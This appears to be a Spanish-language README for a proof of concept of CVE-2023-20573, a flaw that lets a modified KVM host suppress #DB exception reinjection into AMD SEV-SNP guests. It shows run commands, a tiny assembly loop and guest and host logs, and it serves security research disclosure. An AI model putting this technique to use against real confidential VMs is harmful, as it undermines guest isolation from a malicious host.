
Prueba de concepto que demuestra CVE-2023-20573: una vulnerabilidad de hardware en AMD SEV-SNP que permite la supresión de la reinyección de excepciones en KVM, lo que permite la explotación a nivel de instrucciones.
Este repositorio contiene una VMM que arranca un invitado SEV-SNP con un kernel personalizado. La VMM y el kernel son una versión reducida de un proyecto mío. Se requiere un kernel de Linux modificado para ejecutarse en el host: https://github.com/Freax13/linux/tree/for-amd.
La prueba de concepto se puede ejecutar así:
cd host
cargo run -p vmm
Este código salta de un lado a otro entre dos instrucciones:
2:
nop
jmp 2b
Cuando el indicador TF está establecido en el registro FLAGS, se deberían generar excepciones con el puntero de instrucción alternando entre las dos instrucciones.
El kernel invitado define un manejador de excepciones que simplemente registra el puntero de instrucción reportado en el marco de pila de interrupción. En teoría, los registros deberían verse así:
...
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
...
Sin embargo, en la práctica, el kernel del host modificado suprime la reinyección, lo que da como resultado los siguientes registros:
...
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:53] last instruction was also nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:59] last instruction was also jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
...
Los eventos suprimidos aparecerán en los registros del kernel del host:
...
[798678.660473] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.678645] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.680906] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.683491] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.700844] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.712970] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
...
Esto demuestra que se suprimió la entrega de la excepción #DB.